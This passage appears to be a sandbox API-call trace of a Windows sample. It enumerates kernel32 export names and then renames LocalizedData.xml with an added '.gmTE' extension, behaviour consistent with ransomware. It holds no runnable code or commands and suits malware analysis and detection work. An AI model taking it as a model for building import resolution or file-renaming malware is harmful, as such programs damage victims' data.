lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0139.817] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0139.817] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0139.817] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0139.817] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0139.817] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0139.817] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0139.818] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0139.818] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0139.818] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0139.818] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0139.818] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0139.818] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0139.818] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0139.818] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0139.818] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0139.818] lstrlenA (lpString="CLOSESTATE") returned 10 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0139.818] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0139.818] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0139.818] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0139.818] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0139.818] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0139.819] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0139.819] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0139.819] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0139.819] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0139.819] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0139.819] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0139.819] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0139.819] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0139.819] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0139.819] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0139.819] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0139.819] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0139.819] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0139.819] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0139.819] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0139.819] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0139.819] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0139.819] lstrlenA (lpString="COPYCONTEXT") returned 11 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0139.819] lstrlenA (lpString="COPYFILE2") returned 9 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0139.819] lstrlenA (lpString="COPYFILEA") returned 9 [0139.819] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0139.819] lstrlenA (lpString="COPYFILEEXA") returned 11 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0139.820] lstrlenA (lpString="COPYFILEEXW") returned 11 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0139.820] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0139.820] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0139.820] lstrlenA (lpString="COPYFILEW") returned 9 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0139.820] lstrlenA (lpString="COPYLZFILE") returned 10 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0139.820] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0139.820] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0139.820] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0139.820] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0139.820] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0139.820] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0139.820] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0139.820] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0139.820] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0139.820] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0139.820] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0139.820] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0139.820] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0139.820] lstrlenA (lpString="CREATEEVENTA") returned 12 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0139.820] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0139.820] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0139.821] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0139.821] lstrlenA (lpString="CREATEEVENTW") returned 12 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0139.821] lstrlenA (lpString="CREATEFIBER") returned 11 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0139.821] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0139.821] lstrlenA (lpString="CREATEFILE2") returned 11 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0139.821] lstrlenA (lpString="CREATEFILEA") returned 11 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0139.821] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0139.821] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0139.821] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0139.821] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0139.821] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0139.821] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0139.821] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0139.821] lstrlenA (lpString="CREATEFILEW") returned 11 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0139.821] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0139.821] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0139.821] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0139.821] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0139.821] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0139.821] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0139.821] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0139.821] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0139.822] lstrlenA (lpString="CREATEJOBSET") returned 12 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0139.822] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0139.822] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0139.822] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0139.822] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0139.822] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0139.822] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0139.822] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0139.822] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0139.822] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0139.822] lstrlenA (lpString="CREATEPIPE") returned 10 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0139.822] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0139.822] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0139.822] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0139.822] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0139.822] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0139.822] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0139.822] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0139.822] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0139.823] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0139.823] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0139.823] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0139.823] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0139.823] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0139.823] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0139.823] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0139.823] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0139.823] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0139.823] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0139.823] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0139.823] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0139.823] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0139.823] lstrlenA (lpString="CREATETHREAD") returned 12 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0139.823] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0139.823] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0139.823] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0139.823] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0139.823] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0139.823] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0139.823] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0139.823] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0139.824] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0139.824] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.gmTE") returned 49 [0139.824] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\2070\\LocalizedData.xml.gmTE" (normalized: "c:\\588bce7c90097ed212\\2070\\localizeddata.xml.gmte"), dwFlags=0x0) returned 1 [0139.825] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.825] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0139.825] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 